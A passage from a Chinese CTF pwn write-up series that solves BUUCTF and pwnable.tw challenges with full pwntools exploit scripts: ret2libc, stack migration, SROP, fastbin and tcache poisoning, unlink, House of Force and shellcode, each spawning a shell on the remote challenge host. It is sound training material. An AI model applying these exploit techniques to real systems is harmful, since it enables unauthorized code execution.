    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap:")
    p.send(content)

def edit(index:int, content):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)

def dump(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content : ")

def free(index:int):
    cmd(4)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def exp():
    new(0x68, b'arttnba3')
    new(0x60, b'arttnba3')
    new(0x30, b'arttnba3')
    new(0x60, b'arttnba3')
    new(0x10, b'/bin/sh\x00')
    edit(0, b'\x00' * 0x68 + p8(0xf1))
    free(1)
    new(0x40,b'arttnba3')
    dump(1)
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base: ' + hex(libc_base))
    new(0x10, p64(0xdeadbeef) + p64(libc_base + libc.sym['__free_hook']))
    edit(2, p64(libc_base + libc.sym['system']))
    free(4)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x03F.wustctf2020_getshell_2 - ret2text

惯例的 checksec ,只开了 NX

image.png

拖入 IDA 进行分析

存在一个溢出

image.png

存在 system 函数和 sh 字符串

image.png

直接 ret2text 即可

构造 exp 如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
p = remote('node3.buuoj.cn', 25491) #process('./wustctf2020_getshell_2')#
e = ELF('./wustctf2020_getshell_2')
offset = 0x18
p.sendline(b'A' * offset + p32(0xdeadbeef) + p32(0x8048529) + p32(e.search(b'sh\x00').__next__()) * 3)
p.interactive()

运行即可 get shell

image.png

0x040.ciscn_2019_s_4 - ret2text + stack migration

惯例的 checksec ,只开了NX

image.png

拖入 IDA 进行分析

有个 8 字节溢出,但是能读两次,第一次有输出,可以泄露 ebp

image.png

有 system 函数

image.png

泄露栈上地址后栈迁移即可

构造 exp 如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
p = remote('node3.buuoj.cn', 26288) #process('./ciscn_s_4')#
e = ELF('./ciscn_s_4')
offset = 0x28
call_sys = 0x8048559

p.send(b'A' * offset)
p.recvuntil(b'A' * offset)
ebp_leak = u32(p.recv(4))
log.info('ebp leak: ' + hex(ebp_leak))
buf_addr = ebp_leak - 0x38
#gdb.attach(p)
p.send(p32(call_sys) * 2 + p32(buf_addr + offset - 4) * 7 + b'sh\x00\x00' + p32(buf_addr) + p32(0x8048562))
p.interactive()

运行即可 get shell

image.png

笔者一开始一直当64位来想,还在思考“就溢出8个字节怎么控制返回地址”…

以及第二页终于完结了,可喜可贺可喜可贺.jpg

0x041 ~ 0x050

0x041.mrctf2020_easyoverflow - overflow

惯例的 checksec ,保护全开

image.png

拖入 IDA 进行分析

有溢出,字符串比较通过即可拿shell

image.png

构造 exp 如下:

from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 29407)

offset = 0x30

p.sendline(b'A' * offset + b"n0t_r3@11y_f1@g")
p.interactive()

运行即可 get shell

image.png

0x042.0ctf_2017_babyheap - Unsorted bin leak + Fastbin Attack + one_gadget

出现重复的题是真的离谱

过程见前面0x011,这里就不再赘叙了

exp如下:

from pwn import *
p = remote('node3.buuoj.cn',27143)#process('./babyheap_0ctf_2017')#
libc = ELF('./libc-2.23.so')

def alloc(size:int):
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    
def fill(index:int,content):
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(len(content)))
    p.recvuntil('Content: ')
    p.send(content)
    
def free(index:int):
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    
def dump(index:int):
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Content: \n')
    return p.recvline()
    
alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3
alloc(0x80) #idx4

free(1) #idx1
free(2) #idx2

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

alloc(0x10) #idx1, the former idx2
alloc(0x10) #idx2, the former idx4

payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) #idx5, prevent the top chunk combine it
free(4) #idx2 got into unsorted bin, fd points to the main_arena

main_arena = u64(dump(2)[:8].strip().ljust(8,b'\x00')) - 0x58
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a

alloc(0x60) #idx4
free(4) #idx2 got into fastbin
payload = p64(malloc_hook - 0x23)
fill(2,payload) #overwrite fd to fake chunk addr

alloc(0x60) #idx4
alloc(0x60) #idx6, our fake chunk

payload = b'A'*0x13 + p64(one_gadget)
fill(6,payload)

alloc(0x10)
p.interactive()

image.png

0x043.wustctf2020_closed - Linux基础知识

惯例的 checksec ,只开了 NX

image.png

拖入 IDA 进行分析

直接给 shell,但是关了 stdout 和 stderr

image.png

1>&0 即可拿到输出

image.png

0x044.ciscn_2019_es_7 - ret2libc | SROP

惯例的 checksec ,只开了 NX

image.png

拖入 IDA 进行分析

直接就有一个很大的溢出

image.png

我们可以考虑设置返回到 vuln开头() 进行多次读

需要注意的一点是vuln()函数以ebp作为返回值

image.png

解法一:ret2libc

我们可以通过多次返回到 vuln() 开头特定偏移处,将栈一步步拉近到 main 的返回地址附近,通过打印功能打印出 main 的返回地址,泄露 libc 基址,之后就是 ret2libc 一套带走

构造 exp 如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 26477)#process('./ciscn_2019_es_7')#
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#
e = ELF('./ciscn_2019_es_7')
offset = 0x10
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
ret = e.search(asm('ret')).__next__()
leave_ret = e.search(asm('leave ; ret')).__next__()

p.send(b'A' * offset + p64(0x4004F1))
p.recv()
p.send(b'B' * offset + p64(0x4004F1))
p.recv()
p.send(b'C' * offset + p64(0x4004F1))
libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.info('libc addr leak: ' + hex(libc_leak))
libc_base = (libc_leak - libc.sym['__libc_start_main']) & 0xfffffffff000
log.success('libc base: ' + hex(libc_base))
p.send(b'A' * offset + p64(ret) + p64(pop_rdi_ret) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()) + p64(libc_base + libc.sym['system']))
p.interactive()

运行即可 get shell

image.png

解法二:SROP

观察到程序中存在如下 gadget:

image.png

可以考虑第一次输入时泄露栈上地址,第二次输入通过 SROP 拿 shell

构造 exp 如下:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 29375)#process('./ciscn_2019_es_7')#
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#
e = ELF('./ciscn_2019_es_7')
offset = 0x10
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
ret = e.search(asm('ret')).__next__()
leave_ret = e.search(asm('leave ; ret')).__next__()
mov_rax_15 = e.search(asm('mov rax , 0xf ; ret')).__next__()
syscall_addr = e.search(asm('syscall')).__next__()

p.send(b'A' * offset + p64(e.sym['vuln']))
stack_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.info('stack leak: ' + hex(stack_leak))
buf_addr = stack_leak - 0x118
log.success('buf addr now: ' + hex(buf_addr))

frame = SigreturnFrame()
frame.rax = 0x3b # syscall::execve, constants.SYS_execve is also ok
frame.rip = syscall_addr
frame.rdi = buf_addr
frame.rsi = 0
frame.rdx = 0

p.send(b'/bin/sh\x00'.ljust(offset, b'\x00') + p64(mov_rax_15) + p64(syscall_addr) + bytes(frame))
p.interactive()

运行即可 get shell

image.png

远程的栈和本地的栈好像还不大一样…最好选择相同版本的系统进行调试

0x045.jarvisoj_level5 - ret2csu + ret2libc

惯例的 checksec ,只开了 NX

image.png

拖入 IDA 进行分析

直接就有一个很大的溢出

image.png

套板子 ret2libc 即可

exp如下:

from pwn import *
from LibcSearcher import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',26872)#process('./level3_x64') # 
e=  ELF('./level3_x64')
offset = 0x80
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
pop_rsi_r15_ret = e.search(asm('pop rsi ; pop r15 ; ret')).__next__()

payload1 = b'A'* offset + p64(0xdeadbeef) + p64(pop_rsi_r15_ret) + p64(e.got['write']) + p64(0) + p64(pop_rdi_ret) + p64(1) + p64(e.plt['write']) + p64(e.sym['main'])
p.sendline(payload1)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'* offset + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行即可 get shell

image.png

惯例的 checksec ,保护全…只开了 NX 和 canary

image.png

拖入IDA进行分析

大概是一道有着分配、释放、编辑、打印堆块功能的堆题

漏洞点在于编辑时未对长度进行检查,存在堆溢出

image.png

需要注意的是无论是创建堆块还是编辑堆块都有一个 '\0' 截断

解法一:Fastbin Attack + one_gadget

基本上是套板子做题,算是堆题的通法了,realloc调栈,构造 exp 如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',29469)#process('./bamboobox') # 
e = ELF('./bamboobox')
libc = libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def cmd(choice:int):
    p.recvuntil(b"Your choice:")
    p.sendline(str(choice).encode())

def dump():
    cmd(1)

def new(size:int, content):
    cmd(2)
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the name of item:")
    p.send(content)

def edit(index:int, size:int, content):
    cmd(3)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the new name of the item:")
    p.send(content)

def free(index:int):
    cmd(4)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())

def exp():
    new(0xb0, b'arttnba3') # idx 0
    new(0x10, b'arttnba3') # idx 1
    new(0x10, b'arttnba3') # idx 2
    new(0x10, b'arttnba3') # idx 3
    new(0x40, p64(0x21) * 6) # idx 4
    new(0x10, b'arttnba3') # idx 5
    free(3)
    free(2)
    edit(1, 0x40, b'arttnba3' * 2 + p64(0) + p64(0x21))
    new(0x10, p64(0)) # idx 2
    new(0x10, p64(0)) # idx 3, overlappnig with idx 2
    edit(1, 0x40, b'arttnba5' * 2 + p64(0) + p64(0x91))
    free(3)
    dump()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base leak: ' + hex(libc_base))
    new(0x10, b'arttnba3') # idx 3, overlappnig with idx 2
    edit(1, 0x40, b'arttnba5' * 2 + p64(0) + p64(0x71))
    free(2)
    edit(3, 0x10, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
    new(0x60, b'arttnba3')
    new(0x60, b'A' * (0x13 - 8) + p64(libc_base + 0x4526a) + p64(libc_base + libc.sym['__libc_realloc']))
    #gdb.attach(p)
    cmd(2)
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(0x10).encode())
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

本地的栈调了我半天,远程栈不一样又调了半天…

没开地址随机化,那就比较常规地用 unlink 劫持指针数组即可

exp如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',25366)#process('./bamboobox') # 
e = ELF('./bamboobox')
libc = libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
heap_array = 0x6020c0

def cmd(choice:int):
    p.recvuntil(b"Your choice:")
    p.sendline(str(choice).encode())

def dump():
    cmd(1)

def new(size:int, content):
    cmd(2)
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the name of item:")
    p.send(content)

def edit(index:int, size:int, content):
    cmd(3)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the new name of the item:")
    p.send(content)

def free(index:int):
    cmd(4)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())

def exp():
    new(0xb0, b'arttnba3') # idx 0
    new(0x10, b'arttnba3') # idx 1
    new(0x10, b'arttnba3') # idx 2
    new(0x10, b'arttnba3') # idx 3
    new(0x40, p64(0x21) * 6) # idx 4
    new(0x10, b'arttnba3') # idx 5
    new(0x20, b'arttnba3') # idx 6
    new(0x80, b'arttnba3') # idx 7
    new(0x10, b'arttnba3') # idx 8
    free(3)
    free(2)
    edit(1, 0x40, b'arttnba3' * 2 + p64(0) + p64(0x21))
    new(0x10, p64(0)) # idx 2
    new(0x10, p64(0)) # idx 3, overlappnig with idx 2
    edit(1, 0x40, b'arttnba5' * 2 + p64(0) + p64(0x91))
    free(3)
    dump()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base leak: ' + hex(libc_base))

    edit(6,0x30 , p64(0) + p64(0x21) + p64(heap_array + 0x68 - 0x18) + p64(heap_array + 0x68 - 0x10) + p64(0x20) + p64(0x90))
    
    free(7)
    #gdb.attach(p)
    edit(6, 0x20, b'arttnba3' + p64(libc_base + libc.sym['__free_hook']) + b'arttnba3' + p64(heap_array + 0x50))
    edit(5, 0x8, p64(libc_base + libc.sym['system']))
    edit(6, 8, b'/bin/sh\x00')
    free(6)

    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

解法三:House of Force

有堆溢出,创建堆块时不限制大小,那就改 top chunk size 以后通过整型溢出使得 top chunk 分配到前面的chunk,形成overlapping(但是都有堆溢出了还需要这样的方式构造 chunk overlapping🦄

exp 如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',25366)#process('./bamboobox') # 
e = ELF('./bamboobox')
libc = libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')#
heap_array = 0x6020c0

def cmd(choice:int):
    p.recvuntil(b"Your choice:")
    p.sendline(str(choice).encode())

def dump():
    cmd(1)

def new(size:int, content):
    cmd(2)
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the name of item:")
    p.send(content)

def edit(index:int, size:int, content):
    cmd(3)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Please enter the length of item name:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Please enter the new name of the item:")
    p.send(content)

def free(index:int):
    cmd(4)
    p.recvuntil(b"Please enter the index of item:")
    p.sendline(str(index).encode())

def exp():
    new(0xb0, b'arttnba3') # idx 0
    new(0x10, b'arttnba3') # idx 1
    new(0x10, b'arttnba3') # idx 2
    new(0x10, b'arttnba3') # idx 3
    new(0x40, p64(0x21) * 6) # idx 4
    new(0x10, b'arttnba3') # idx 5
    new(0x10, b'arttnba3') # idx 6
    new(0x10, b'arttnba3') # idx 7
    free(3)
    free(2)
    edit(1, 0x40, b'arttnba3' * 2 + p64(0) + p64(0x21))
    new(0x10, p64(0)) # idx 2
    new(0x10, p64(0)) # idx 3, overlappnig with idx 2
    edit(1, 0x40, b'arttnba5' * 2 + p64(0) + p64(0x91))
    free(3)
    dump()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base leak: ' + hex(libc_base))

    new(0x10, b'arttnba3') # idx 3, overlapping with idx 2
    free(6)
    free(3)
    dump()
    p.recvuntil(b'2 : ')
    heap_leak = u64(p.recvuntil(b'4 : ', drop = True).ljust(8, b'\x00'))
    log.info('heap addr leak: ' + hex(heap_leak))
    top_addr = heap_leak + 0x40
    log.info('top chunk addr: ' + hex(top_addr))
    
    edit(7, 0x20, b'arttnba3' * 2 + p64(0) + p64(0xfffffffffffffff1))
    
    new((-0x200), b'arttnba3') # idx 3
    new(0x140, b'arttnba3') # idx 6
    new(0x30, b'arttnba3') # idx 8
    free(8)
    edit(2, 0x8, p64(0x6020c0 + 0x38))
    #gdb.attach(p)
    new(0x30, b'/bin/sh\x00') # idx 8 back
    new(0x30, p64(libc_base + libc.sym['__free_hook'])) # idx 9, the heap array
    edit(4, 0x8, p64(libc_base + libc.sym['system']))
    free(8)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x047.pwnable_hacknote - Use After Free + heap arrangement

pwnable.tw上的原题

惯例的checksec,只开了NX和canary

image.png

拖入IDA进行分析

大概是一道有着分配、释放、打印堆块功能的堆题

image.png

其中分配堆块的函数如下:

image.png

不难看出每个note的结构应当如下:

typedef struct __INTERNAL_NOTE_
{
    void (*ptr)(char*);
    void *buf;
}note;

漏洞点在于释放函数中,释放后未将指针置0,存在UAF漏洞

image.png

基本上就是套板子做题,堆风水一套带走

在这里有个踩坑的点就是其函数指针的调用方式,其读取的起始范围会包括前面的部分,故我们需要用;sh\x00进行填充

构造exp如下:

from pwn import *
p =remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
context.log_level = 'debug'

def cmd(command:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(command))

def new(index:int, content):
    cmd(1)
    p.recvuntil(b"Note size :")
    p.sendline(str(index))
    p.recvuntil(b"Content :")
    p.send(content)
    
def free(index:int):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index))
    
def dump(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index))
    
def exp():
    new(0x50, b'arttnba3') # idx 0
    new(0x8, b'arttnba3') # idx 1
    free(0)
    new(0x50, b'artt') # idx 2, overlapping with idx 0
    dump(2)
    p.recvuntil(b'artt')
    main_arena = u32(p.recv(4)) - 48
    __malloc_hook = main_arena - 0x18
    libc_base = __malloc_hook  - libc.sym['__malloc_hook']
    log.success('libc_base: ' + hex(libc_base))
    free(1)
    free(0)
    new(0x8, p32(libc_base + libc.sym['system']) + b';sh\x00') # idx 3
    dump(1)
    p.interactive()
    
if __name__ == '__main__':
    exp()

运行即可get shell

F_QAG__EVIR0_X8VZF30R_L.png

0x048.actf_2019_babystack - ret2libc + stack migration

惯例的 checksec ,只开了 NX

image.pngimage.png

拖入IDA进行分析,有溢出,但是只有0x10字节,白给栈上地址,考虑栈迁移

image.png

构造 exp 如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 25625)#process('./ACTF_2019_babystack') # 
e = ELF('./ACTF_2019_babystack')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')# 
offset = 0xd0
leave_ret = e.search(asm('leave ; ret')).__next__()
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
ret = e.search(asm('ret')).__next__()

p.sendline(str(0xe0).encode())
p.recvuntil(b"Your message will be saved at ")
stack_leak = int(p.recvuntil(b'\n', drop = True), 16)
p.send((b'arttnba3' + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.sym['puts']) + p64(0x4008F6)).ljust(offset, b'\x00') + p64(stack_leak) + p64(leave_ret))
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success('libc base leak: ' + hex(libc_base))

p.sendline(str(0xe0).encode())
p.recvuntil(b"Your message will be saved at ")
stack_leak = int(p.recvuntil(b'\n', drop = True), 16)
p.send((b'arttnba3' + p64(ret) + p64(pop_rdi_ret) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()) + p64(libc_base + libc.sym['system'])).ljust(offset, b'\x00') + p64(stack_leak) + p64(leave_ret))
p.interactive()

运行即可 get shell

image.png

惯例的 checksec ,保护全…只开了 NX 和 canary

image.png

拖入IDA 进行分析

没有菜单提示的菜单题(恼)

大概是有分配、释放、编辑堆块功能

image.png

漏洞在于编辑长度自定,存在堆溢出

image.png

没有打印功能,没有tcache也难整任意地址写(fastbin size检查),那就只能通过unlink劫持got表了(恼)

大概是构造如下堆布局(表格有点丑,将就着看(x)),因为存放堆指针的数组在bss段上,没开PIE,那我们直接用 unlink 劫持got表即可

address prev_size size
chunk2 0 0x31
(fake chunk) 0 0x21
chunk_array[2] - 0x18 chunk_array[2] - 0x10
chunk3 0x20 0x90

大概能够满足 fake chunk->FD->BK = fake chunkfake chunk->BK->FD = fake chunk ,此时 free(chunk3),由于 prev_in_use 位为 0,我们的 fake chunk 就会被合并到chunk3中

接下来的 unlink 操作会将fake chunk->FD->BK 赋值为fake chunk->BK,将fake chunk->BK->FD 赋值为fake chunk->FD

存放 chunk2 指针的位置存放的指针变成了 chunk_array 的地址,此时我们便可以直接修改 chunk_array 中指针,劫持 got 表一套带走

exp 如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',27629)#process('./stkof') # 
e = ELF('./stkof')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')# 
def new(size:int):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil(b'OK')
 
def edit(index:int ,size:int ,content):
    p.sendline(b'2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil(b'OK')
 
def free(index:int):
    p.sendline(b'3')
    p.sendline(str(index))

def dump(index:int):
    p.sendline(b'4')
    p.sendline(str(index))

def exp():
    new(0x10) # idx 1
    new(0x20) # idx 2
    new(0x80) # idx 3
    new(0x10) # idx 4
    edit(2, 0x30, p64(0) + p64(0x21) + p64(0x602140 + 0x10 - 0x18) + p64(0x602140 + 0x10 - 0x10) + p64(0x20) + p64(0x90))
    free(3)
    edit(2, 0x28, p64(0) * 2 + p64(e.got['free']) + p64(0x602138) + p64(e.got['puts']))
    edit(1, 0x8, p64(e.plt['puts']))
    free(3)

    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    log.success('libc base: ' + hex(libc_base))
    edit(2, 0x28, p64(0) * 2 + p64(e.got['free']) + p64(0x602138) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()))
    edit(1, 0x8, p64(libc_base + libc.sym['system']))
    free(3)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x04A.ciscn_2019_es_1 - Use After Free + tcache poisoning

惯例的 checksec ,保护全开

image.png

拖入IDA进行分析

大概是有着分配、打印、释放堆块的功能

漏洞点在于释放时指针未置0,存在 UAF(暗示996的公司永远不可能被真正消灭(←🔫

image.png

libc 2.27,没有 double free检测,套板子一套带走(感觉现在大部分题目都是套板子a…)

exp如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',27368)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')# 

def cmd(choice:int):
    p.recvuntil(b"choice:")
    p.sendline(str(choice).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Please input the size of compary's name")
    p.sendline(str(size).encode())
    p.recvuntil(b"please input name:")
    p.send(content)
    p.recvuntil(b"please input compary call:")
    p.send(b';/bin/sh\x00')

def dump(index:int):
    cmd(2)
    p.sendline(str(index).encode())

def free(index:int):
    cmd(3)
    p.sendline(str(index).encode())

def exp():
    new(0x10, b'arttnba3') # idx 0
    new(0x10, b'arttnba3') # idx 1
    new(0x80, b'arttnba3') # idx 2
    new(0x10, b'/bin/sh\x00') # idx 3
    free(0)
    free(0)
    dump(0)
    p.recvuntil(b'name:\n')
    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    heap_base = heap_leak & 0xfffffffff000
    log.success('heap base leak: ' + hex(heap_base))
    free(0)
    free(0)
    new(0x10, p64(heap_base + 0x10)) # idx 4
    new(0x10, b'\x00' + b'\x07' * 0xf) # idx 5, hijack the tcache
    free(2)
    dump(2)
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base leak: ' + hex(libc_base))
    free(0)
    free(0)
    new(0x10, p64(libc_base + libc.sym['__free_hook']))
    new(0x10, p64(libc_base + libc.sym['system']))
    free(3)

    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x04B.cmcc_pwnme2 - ret2libc

惯例的 checksec ,只开了 NX

image.png

拖入 IDA 进行分析

直接就有gets()溢出

image.png

image.png

套板子 ret2libc 即可

exp如下:

from pwn import *
context.log_level = 'DEBUG'
p = remote('node3.buuoj.cn',26415)#process('./pwnme2') # 
e = ELF('./pwnme2')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/32bit/libc-2.23.so')

offset = 0x6c
payload = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])
p.sendline(payload)
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
libc_base = puts_addr - libc.sym['puts']
log.success('libc base leak: ' + hex(libc_base))

payload = b'A' * offset + p32(0xdeadbeef) + p32(libc_base + libc.sym['system']) * 2 + p32(libc_base + libc.search(b'/bin/sh\x00').__next__())
p.sendline(payload)

p.interactive()

运行即可 get shell

image.png

0x04C.picoctf_2018_shellcode - shellcode

拖入IDA进行分析

大概是会执行我们的输入

image.png

输一段shellcode即可

exp如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'i386'
p = remote('node3.buuoj.cn',27170)#
p.sendline(asm(shellcraft.sh()))
p.interactive()

运行即可 get shell

image.png

0x04D.npuctf_2020_easyheap - off by one

惯例的 checksec ,保护全…只开了 NX 和 canary

image.png

拖入IDA进行分析

大概是有着分配、编辑、打印、释放堆块的功能

image.png

限制了分配的 chunk 的大小为 0x18/0x38

image.png

使用如下结构体存储一个 chunk

typedef struct __INTERNAL_CHUNK_
{
    long long size;
    void * chunk_ptr;
}chunk;

漏洞点在于编辑时可以溢出 1 字节

image.png

原本想用 unlink 做的,后面发现出不来…那就只能走常规的 chunk overlapping 了

exp 如下:

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',26338)#process('./npuctf_2020_easyheap')#
e = ELF('./npuctf_2020_easyheap')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(choice:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(choice).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size of Heap(0x10 or 0x20 only) : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def edit(index:int, content):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.send(content)

def dump(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def free(index:int):
    cmd(4)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def exp():
    for i in range(10):
        new(0x18, b'arttnba3')
    for i in range(9):
        edit(i, b'arttnba3' * 3 + p8(0xa1))
    for i in range(7):
        free(8 - i)
    
    free(1)
    for i in range(4):
        new(0x18, b'arttnba3')
    new(0x18, b'arttnba3')
    dump(5)
    
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
    libc_base = main_arena - 0x10 - libc.sym['__malloc_hook']
    log.success('libc base: ' + hex(libc_base))
    
    new(0x38, b'arttnba3')
    edit(6, p64(0xdeadbeef) +  p64(libc_base + libc.sym['__free_hook']))
    edit(1, p64(libc_base + libc.sym['system']))
    edit(6, p64(0xdeadbeef) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()))
    free(1)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x04E.picoctf_2018_can_you_gets_me - ret2text + ret2shellcode

惯例的checksec,只开了NX

image.png

拖入IDA进行分析

静态编译,gets()溢出

image.png

套板子mprotect + shellcode,exp如下:

from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'i386'
p = remote('node3.buuoj.cn',29207)#process('./PicoCTF_2018_can-you-gets-me')#
